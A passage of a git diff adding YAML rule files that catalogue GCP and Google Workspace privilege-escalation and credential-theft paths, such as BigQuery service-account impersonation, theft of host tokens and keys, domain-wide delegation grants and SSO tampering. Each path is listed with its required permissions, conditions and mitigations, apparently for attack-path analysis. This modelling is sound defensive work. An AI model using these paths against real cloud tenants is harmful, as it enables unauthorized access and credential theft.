id: dts_agent_token_creator + description: The Data Transfer service agent (service-@gcp-sa-bigquerydatatransfer) must hold iam.serviceAccounts.getAccessToken (Token Creator) on the target SA, otherwise runs fail. + - id: sql_only + description: The SA is used only to run SQL (reads, DML, EXPORT DATA, DCL on datasets the SA administers), not as a general token. + - id: update_needs_actas + description: Changing the query of an existing SA-bound config also needs actAs on its SA; transfers.update alone is not enough. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Grant actAs only on dedicated scheduled-query SAs and avoid broad Token Creator grants to the DTS service agent. + references: + - https://cloud.google.com/bigquery/docs/scheduling-queries + notes: Legacy permission name bigquery.datatransfer.transferConfigs.* is not used by current IAM; roles/editor and roles/owner already contain both permissions. Power is limited to BigQuery (and storage via EXPORT DATA). + +- id: gcp-bigquery-spark-procedure-connection-identity + provider: gcp + service: bigquery + title: Create or replace a Spark stored procedure that runs code as an existing Spark connection's service identity + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryroutinescreate--bigqueryconnectionsdelegateuse--code-execution-through-a-spark-connection + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service identity of every BigQuery Spark connection it can delegate and use, or whose IAM policy it controls, by creating or replacing a Spark stored procedure bound to it. + requires: + all_of: + - action: bigquery.routines.get + resource: "*" + - action: bigquery.jobs.create + resource: "*" + - any_of: + - - action: bigquery.routines.create + resource: "*" + - - action: bigquery.routines.update + resource: "*" + any_of: + - - action: bigquery.connections.delegate + resource: "{target.host_resource}" + - action: bigquery.connections.use + resource: "{target.host_resource}" + - - action: bigquery.connections.setIamPolicy + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: bigquery_spark_connection + scope: any + aggregate_as: "Service identities of BigQuery Spark connections the source can delegate" + conditions: + - id: privileged_connection_identity + description: Escalation only exists when the existing connection's service identity already holds permissions the source lacks; a newly created connection identity starts without useful grants. + - id: dataset_location + description: The procedure must be created (or an existing one replaced) in a dataset the source can write, in the connection's location. + - id: replace_existing_procedure + description: The routines.update branch replaces an existing Spark procedure's body; the connection delegation check still applies to the replaced definition. + - id: setiampolicy_followup + description: The setIamPolicy branch self-grants connection admin/user on the connection and then follows the delegate/use path. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/bigquery.connectionAdmin and roles/bigquery.connectionUser on Spark connections, restrict routine create/update on datasets in the connection's location, and keep the connection identity least-privileged. + references: + - https://docs.cloud.google.com/bigquery/docs/spark-procedures + - https://docs.cloud.google.com/bigquery/docs/connect-to-spark + notes: The page documents SQL create (routines.create + connections.delegate + jobs.create), CREATE OR REPLACE / direct routines.update (routines.update), direct Routines API create (no job) and invocation (routines.get + connections.use + jobs.create); jobs.create is always needed for the call. Google does not document a caller-side actAs check for the EXTERNAL SECURITY INVOKER custom service-account variant; that variant is not modelled. Covers the bigquery.connections.setIamPolicy self-grant heading for Spark connections; other connection consumers (EXTERNAL_QUERY, remote functions, BigLake tables) are data access or audience-bound and are excluded. + +- id: gcp-bigquery-continuous-query-actas + provider: gcp + service: bigquery + title: Run a BigQuery continuous query bound to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#continuous-query-bound-to-a-service-account--bounded-real-time-exfiltration + source_revision: 171e422 + summary: The source can obtain the BigQuery privileges of service accounts in the project on which it holds iam.serviceAccounts.actAs, by submitting a continuous query that runs (for up to 150 days) as that service account. + requires: + all_of: + - action: bigquery.jobs.create + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as BigQuery continuous-query SA in {project}" + conditions: + - id: continuous_reservation + description: The project needs an Enterprise or Enterprise Plus reservation with a CONTINUOUS job-type assignment. + - id: sql_only + description: The SA is used only for supported continuous-query operations (reads of new rows, export to Pub/Sub/Bigtable/Spanner or BigQuery table writes); sources with row/column-level security cannot be read. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: medium + mitigation: Grant actAs only on dedicated continuous-query SAs and restrict CONTINUOUS reservation assignments. + references: + - https://cloud.google.com/bigquery/docs/continuous-queries-introduction + notes: Sibling of gcp-bigquery-transfers-scheduled-query-actas; power is limited to the SA's BigQuery data access plus the configured sink. +- id: gcp-audit-s01-26-delete-policies-and-deactiva + provider: gcp + service: bigquery + title: Delete policies and deactivate taxonomy enforcement + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement + summary: The source can gain delete policies and deactivate taxonomy enforcement. Deleting policies and deactivating + a taxonomy can expose columns only when every associated policy is deleted and an existing reader has base query + rights. + requires: + all_of: + - action: bigquery.dataPolicies.delete + resource: '*' + - action: datacatalog.taxonomies.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-26-delete-policies-and-deactiva + scope: any + aggregate_as: protected-column read entitlement + conditions: + - id: exact_target_evidence + description: Exclusion misses newly unmasked access for existing table readers; both permissions and deletion + of every associated data policy are required. Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc/#bigquerydatapoliciesdelete--datacatalogtaxonomiesupdate--disable-column-level-enforcement +- id: gcp-audit-s01-29-widen-or-delete-row-access-p + provider: gcp + service: bigquery + title: Widen or delete row-access policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigqueryrowaccesspolicies--widen-or-remove-row-level-security + summary: The source can gain widen or delete row-access policy. Row policy mutation widens effective rows only + for an existing base reader and a concrete policy set. + requires: + any_of: + - - action: bigquery.rowAccessPolicies.create + resource: '*' + - action: bigquery.rowAccessPolicies.setIamPolicy + resource: '*' + - action: bigquery.jobs.create + resource: '*' + - - action: bigquery.rowAccessPolicies.update + resource: '*' + - action: bigquery.rowAccessPolicies.setIamPolicy + resource: '*' + - action: bigquery.jobs.create + resource: '*' + - - action: bigquery.rowAccessPolicies.delete + resource: '*' + - action: bigquery.rowAccessPolicies.setIamPolicy + resource: '*' + - action: bigquery.jobs.create + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-29-widen-or-delete-row-access-p + scope: any + aggregate_as: full-row read entitlement + conditions: + - id: exact_target_evidence + description: Exclusion calls it data tamper, but caller with base table read gains rows formerly filtered. Create/update/delete + are alternative paths with additional setIamPolicy and jobs.create. Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc/#bigqueryrowaccesspolicies--widen-or-remove-row-level-security +- id: gcp-bigquery-job-sql-credential + provider: gcp + service: bigquery + title: Recover API keys or tokens in other users’ SQL and query parameters + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + source_revision: 0b36331 + summary: Identity authenticated by valid secret in job metadata; emit only for the exact verified source, resource + and target. + requires: + all_of: + - action: bigquery.jobs.listAll + resource: '*' + - action: bigquery.jobs.list + resource: '*' + - action: bigquery.jobs.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-bigquery-job-sql-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Recover API keys or tokens in other users’ SQL and query parameters + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Relevant + retained job; secret literal or parameter present; target identity and validity verified. INFORMATION_SCHEMA + alternative needs jobs.listAll+jobs.create. + confidence: conditional + severity: high + mitigation: Limit bigquery.jobs.listAll to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently +- id: gcp-bigquery-table-row-credential + provider: gcp + service: bigquery + title: Read BigQuery table rows + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query + source_revision: 0b36331 + summary: Usable token or secret in table row; emit only for the exact verified source, resource and target. + requires: + all_of: + - action: bigquery.tables.getData + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-bigquery-table-row-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Read BigQuery table rows + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + eligible table; row and column policies permit access; a usable credential actually appears in returned cells + and maps to a target principal. + confidence: conditional + severity: high + mitigation: Limit bigquery.tables.getData to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query diff --git a/src/privilege-escalation-paths-research/gcp/bigtable.yaml b/src/privilege-escalation-paths-research/gcp/bigtable.yaml new file mode 100644 index 0000000000..6e0f921295 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/bigtable.yaml @@ -0,0 +1,65 @@ + +- id: gcp-audit-s01-35-widen-a-view-caller-can-alre + provider: gcp + service: bigtable + title: Widen a view caller can already read or mutate + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use + summary: The source can gain widen a view caller can already read or mutate. Updating a view expands rows or columns + only if the caller can already use that view and the new subset is broader. + requires: + any_of: + - - action: bigtable.authorizedViews.update + resource: '*' + - action: bigtable.authorizedViews.readRows + resource: '*' + - - action: bigtable.authorizedViews.update + resource: '*' + - action: bigtable.authorizedViews.mutateRows + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-audit-s01-35-widen-a-view-caller-can-alre + scope: any + aggregate_as: additional base-table rows/columns + conditions: + - id: exact_target_evidence + description: Exclusion treats it as ordinary data widening, but page describes new read or mutation privilege + beyond view definition; readRows/mutateRows are alternatives. Missing target evidence evaluates UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and review target trust/consumer configuration. + source_revision: 0b36331 + references: + - https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc/#bigtableauthorizedviewsupdate--widen-a-view-that-you-can-already-use +- id: gcp-bigtable-row-credential + provider: gcp + service: bigtable + title: Read Bigtable base-table rows + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows + source_revision: 0b36331 + summary: Usable token or credential in Bigtable cell; emit only for the exact verified source, resource and target. + requires: + all_of: + - action: bigtable.tables.readRows + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-bigtable-row-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Read Bigtable base-table rows + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + table and row permission; returned cells contain a valid reusable credential mapped to a principal. GoogleSQL + alternative additionally needs bigtable.instances.executeQuery. + confidence: conditional + severity: high + mitigation: Limit bigtable.tables.readRows to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md#read-base-table-rows diff --git a/src/privilege-escalation-paths-research/gcp/challenge-v3.yaml b/src/privilege-escalation-paths-research/gcp/challenge-v3.yaml new file mode 100644 index 0000000000..e3bb284ce8 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/challenge-v3.yaml @@ -0,0 +1,1494 @@ +# GCP v3 challenge: every path needs exact reviewed evidence. No general IAM action alone is a finding. +- id: gcp-v3-01-unpatched-apigee-hybrid-metadata-and-analytics-worker-cred + provider: gcp + service: gcp + title: Unpatched Apigee Hybrid metadata and analytics-worker credential chain + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-apigee-post-exploitation.md#historical--unpatched-hybrid-cve-2025-13292-gatewaytoheaven + summary: Proxy deployment write -> Apigee Hybrid processor SA; dependency artifact write + configured Dataflow + autoscale -> analytics-worker SA. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-01-unpatched-apigee-hybrid-metadata-and-analytics-worker-cred + scope: any + aggregate_as: Exact targets for Unpatched Apigee Hybrid metadata and analytics-worker credential chain + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcp_hybrid_runtime_identity and exact proxy/dependency/workload + joins; evaluate vulnerable version, deployed proxy right and artifact path. Both links conditional on exploit + success; cross-tenant analytics data is not a principal edge. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-02-copy-source-cluster-credential-secrets-with-backup-for-gke + provider: gcp + service: gcp + title: Copy source-cluster credential Secrets with Backup for GKE + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-backup-and-dr-post-exploitation.md#backup-and-restore-gke-secrets-into-an-attacker-accessible-cluster + summary: Backup/restore of exact Secret into attacker-readable cluster -> KSA or GCP SA represented by that Secret. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: k8s_service_account + selector: + gcp_challenge_fact: gcp-v3-02-copy-source-cluster-credential-secrets-with-backup-for-gke + scope: any + aggregate_as: Exact targets for Copy source-cluster credential Secrets with Backup for GKE + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add cross-cluster gkebackup_secret_restore selector. + Join source backup plan, included Secret namespace/name/type/annotation, target restore plan, readable destination + and named SA. Secret credential usability is an explicit conditional flag. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-03-recover-another-cloud-sql-login-by-exporting-and-cracking + provider: gcp + service: gcp + title: Recover another Cloud SQL login by exporting and cracking SQL Server password hashes + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-sql-server-login-password-hashes-with-sp_help_revlogin + summary: SQL Server proc EXECUTE -> named login password verifier -> potential login after offline recovery. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-03-recover-another-cloud-sql-login-by-exporting-and-cracking + scope: any + aggregate_as: Exact targets for Recover another Cloud SQL login by exporting and cracking SQL Server password + hashes + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcp_sql_login principal kind and password_verifier_recovery + condition. Never imply the hash is a usable credential or that a password will crack; no GCP IAM edge unless + the DB login is separately mapped to GCP identity. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:application +- id: gcp-v3-04-forge-an-application-session-or-api-identity-with-a-kms-ma + provider: gcp + service: gcp + title: Forge an application session or API identity with a KMS MAC key + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md#usetosign-on-mac--hmac-keys--forge-hmacs + summary: KMS MAC signing -> application principal that verifies this exact key. Exact source, target, scope and + prerequisite proof are required. + requires: + all_of: + - action: cloudkms.cryptoKeyVersions.useToSign + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-04-forge-an-application-session-or-api-identity-with-a-kms-ma + scope: any + aggregate_as: Exact targets for Forge an application session or API identity with a KMS MAC key + conditions: + - id: exact_verified_prerequisites + description: Never infer any app principal from a MAC key alone. The key-to-verifier and token-to-principal + mappings must be explicit, and token acceptance is conditional. Add application_mac_trust target/pivot with + explicit key-version, MAC algorithm, message format, audience and principal mapping supplied by an application + configuration adapter; cloudkms.cryptoKeyVersions.useToSign must cover the enabled MAC key. Unknown app trust/claims + means UNKNOWN; valid MAC only yields application-plane access. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-05-steal-another-google-user-s-locally-stored-gcloud-access-o + provider: gcp + service: gcp + title: Steal another Google user’s locally stored gcloud access or refresh token + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#authenticated-user-tokens + summary: Host read of another account’s gcloud credential store -> that named Google user, potential until token + validity verified. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-05-steal-another-google-user-s-locally-stored-gcloud-access-o + scope: any + aggregate_as: Exact targets for Steal another Google user’s locally stored gcloud access or refresh token + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add host_credential_read source capability and gcp_user + target mapping. Require readable concrete credential record path/account identifier, not mere VM control; + token validity and scope explicit conditional flags. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-06-steal-a-service-account-private-key-or-access-token-from-a + provider: gcp + service: gcp + title: Steal a service-account private key or access token from a host + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#service-accounts + summary: Host read of service-account key/token file -> exact SA named by file metadata, conditional on usable + secret. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-06-steal-a-service-account-private-key-or-access-token-from-a + scope: any + aggregate_as: Exact targets for Steal a service-account private key or access token from a host + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add host_credential_read source and keyfile_to_gcp_sa + selector; require file identity metadata and reader authority. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-07-fetch-an-attached-service-account-s-token-after-gaining-gu + provider: gcp + service: gcp + title: Fetch an attached service account’s token after gaining guest code execution + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md#metadata + summary: Existing guest code execution on a resource -> its attached SA through metadata token endpoint. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-v3-07-fetch-an-attached-service-account-s-token-after-gaining-gu + scope: any + aggregate_as: Exact targets for Fetch an attached service account’s token after gaining guest code execution + conditions: + - id: exact_verified_prerequisites + description: A mere attached SA is never a source edge. The source must already reach code execution on that + exact host, and scope restrictions apply. Add gcp_host_code_execution source foothold (or map existing proven + execution edge to a host node), then exact host->attached-SA relation from Compute/Run/GKE facts. On Compute, + record OAuth access scopes and cap reachable API permissions accordingly; metadata reachability remains conditional + for constrained environments. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-08-assign-a-stronger-workspace-administrator-role-to-a-contro + provider: gcp + service: workspace + title: Assign a stronger Workspace administrator role to a controlled account + source: src/pentesting-cloud/workspace-security/gws-admin-privesc.md#grant-yourselfan-account-a-privileged-admin-role + summary: Workspace roleAssignments.insert authority -> controlled account with a specific stronger admin role. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-08-assign-a-stronger-workspace-administrator-role-to-a-contro + scope: any + aggregate_as: Exact targets for Assign a stronger Workspace administrator role to a controlled account + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add Workspace admin privilege requirement (roleAssignments.insert) + resolved from collected workspace_role.rolePrivileges, assignment scope and OU. Target controlled gcp_workspace_user + or actor-created user; allow only assignable roles and actual target scope. No generic GCP IAM permission + stand-in. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-09-authorize-an-attacker-controlled-service-account-oauth-cli + provider: gcp + service: workspace + title: Authorize an attacker-controlled service-account OAuth client for Workspace domain-wide delegation + source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#domain-wide-delegation-grant-to-an-attacker-service-account + summary: Workspace DWD grant mutation + attacker-controlled signing client -> scoped user impersonation. Exact + source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-09-authorize-an-attacker-controlled-service-account-oauth-cli + scope: any + aggregate_as: Exact targets for Authorize an attacker-controlled service-account OAuth client for Workspace + domain-wide delegation + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add workspace_dwd_grant_write authority and mutation + target with exact client ID/scopes; require proven signer/key control and tenant membership. Target Workspace + users only for authorized scopes, conditional on token exchange. Workspace Admin DWD grant is not exposed + by the existing cloud IAM evaluator; accept a separately attested Admin console capability/fact with UNKNOWN + if absent. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-10-install-or-trust-an-attacker-oauth-app-across-a-workspace + provider: gcp + service: workspace + title: Install or trust an attacker OAuth app across a Workspace domain + source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#marketplace-app-domain-install--oauth-app-trusted-allow-listing + summary: Domain-installed OAuth app or Trusted app + user scope eligibility -> potential delegated user access. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-10-install-or-trust-an-attacker-oauth-app-across-a-workspace + scope: any + aggregate_as: Exact targets for Install or trust an attacker OAuth app across a Workspace domain + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add workspace_oauth_app_install/trust setting, app + ownership, OU assignment and scope selector. Domain install can create a grant; Trusted alone only permits + later user consent and must carry user_consent_required condition. Never infer granted tokens merely from + app trust. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-11-point-workspace-sso-at-an-attacker-controlled-identity-pro + provider: gcp + service: workspace + title: Point Workspace SSO at an attacker-controlled identity provider + source: src/pentesting-cloud/workspace-security/gws-admin-persistence.md#sso--saml-sign-in-profile-tampering + summary: Workspace SSO profile write + assignment to target user + attacker-controlled IdP signing key -> potential + victim sign-in as target. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-11-point-workspace-sso-at-an-attacker-controlled-identity-pro + scope: any + aggregate_as: Exact targets for Point Workspace SSO at an attacker-controlled identity provider + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add workspace_sso_profile/assignment and controlled_idp + source facts; evaluate exact OU/group assignment, SP-initiated flow and target auth policy. Flag future_user_signin + and accepted_assertion as conditional; a profile URL alone gives no identity. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-12-modify-a-bound-apps-script-that-later-runs-under-its-owner + provider: gcp + service: workspace + title: Modify a bound Apps Script that later runs under its owner’s authorization + source: src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md#shared-document-script-ownership + summary: Drive editor on bound script + existing owner-executed trigger/web-app deployment -> owner’s Workspace + identity. Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_user + target: + kind: gcp_workspace_user + selector: + gcp_challenge_fact: gcp-v3-12-modify-a-bound-apps-script-that-later-runs-under-its-owner + scope: any + aggregate_as: Exact targets for Modify a bound Apps Script that later runs under its owner’s authorization + conditions: + - id: exact_verified_prerequisites + description: Do not emit from document editor access or bound-script ownership alone. An exact executable trigger + or deployment and effective runner must be known. Add Apps Script project/deployment/trigger facts, editor + permission, executeAs and authorized OAuth scopes. Distinguish mere container ownership (no edge) from owner-created + installable trigger or execute-as-owner web app. Future trigger/run conditional. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Requires reviewed configuration or runtime evidence. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. +- id: gcp-v3-13-recover-gcds-administrator-oauth-and-directory-credentials + provider: gcp + service: workspace + title: Recover GCDS administrator OAuth and directory credentials from host configuration + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md#gcds---disk-tokens--ad-credentials + summary: Host-readable GCDS config plus decryptable key material -> configured Workspace/AD account, potential. + Exact source, target, scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-v3-13-recover-gcds-administrator-oauth-and-directory-credentials + scope: any + aggregate_as: Exact targets for Recover GCDS administrator OAuth and directory credentials from host configuration + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add GCDS credential-store type and exact configured + account target; secret decryption/validity conditional. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-14-recover-another-gcpw-user-s-google-refresh-token-or-passwo + provider: gcp + service: workspace + title: Recover another GCPW user’s Google refresh token or password + source: src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md#gcpw---registry-refresh-tokens + summary: Read GCPW user registry credential and DPAPI context -> named Google user, potential. Exact source, target, + scope and prerequisite proof are required. + requires: + all_of: [] + source_kind: gcp_challenge_foothold + target: + kind: gcp_user + selector: + gcp_challenge_fact: gcp-v3-14-recover-another-gcpw-user-s-google-refresh-token-or-passwo + scope: any + aggregate_as: Exact targets for Recover another GCPW user’s Google refresh token or password + conditions: + - id: exact_verified_prerequisites + description: Emit only a conditional/MANUAL edge when the exact source, resource, and target join; missing or + unsupported facts are UNKNOWN, never a derived/FAIL path. Add gcpw_registry_token selector, effective HKCU/DPAPI + access and token-validity condition. + confidence: conditional + severity: high + mitigation: Restrict the named capability and verify the exact execution, credential or trust relationship. + notes: Collector request recorded in privesc-v3-collector-requests.md. Absent or incomplete evidence is UNKNOWN/unresolved; + verified evidence remains conditional. + source_selector: + source_id_glob: gcp_challenge_foothold:*:host +- id: gcp-v3-15-intercept-a-gcpw-user-s-google-authorization-response-duri + provider: gcp + service: workspace + title: Intercept a GCPW user’s Google authorization response during sign-in + 